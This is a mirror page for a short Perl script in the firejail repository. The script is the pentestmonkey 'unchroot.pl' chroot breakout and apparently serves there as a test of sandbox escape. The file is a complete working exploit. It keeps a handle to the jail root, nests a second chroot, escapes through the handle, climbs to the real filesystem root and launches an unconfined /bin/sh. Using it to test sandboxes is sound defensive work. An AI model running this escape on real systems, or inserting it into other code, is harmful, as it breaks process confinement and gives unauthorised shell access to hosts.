mirror of
https://github.com/netblue30/firejail.git
synced 2026-07-22 09:18:27 -06:00
33 lines
769 B
Perl
Executable file
33 lines
769 B
Perl
Executable file
#!/usr/bin/perl -w
|
|
use strict;
|
|
# unchroot.pl Dec 2007
|
|
# http://pentestmonkey.net/blog/chroot-breakout-perl
|
|
|
|
# This script may be used for legal purposes only.
|
|
|
|
# Go to the root of the jail
|
|
chdir "/";
|
|
|
|
# Open filehandle to root of jail
|
|
opendir JAILROOT, "." or die "ERROR: Couldn't get file handle to root of jailn";
|
|
|
|
# Create a subdir, move into it
|
|
mkdir "mysubdir";
|
|
chdir "mysubdir";
|
|
|
|
# Lock ourselves in a new jail
|
|
chroot ".";
|
|
|
|
# Use our filehandle to get back to the root of the old jail
|
|
chdir(*JAILROOT);
|
|
|
|
# Get to the real root
|
|
while ((stat("."))[0] != (stat(".."))[0] or (stat("."))[1] != (stat(".."))[1]) {
|
|
chdir "..";
|
|
}
|
|
|
|
# Lock ourselves in real root - so we're not really in a jail at all now
|
|
chroot ".";
|
|
|
|
# Start an un-jailed shell
|
|
system("/bin/sh");
|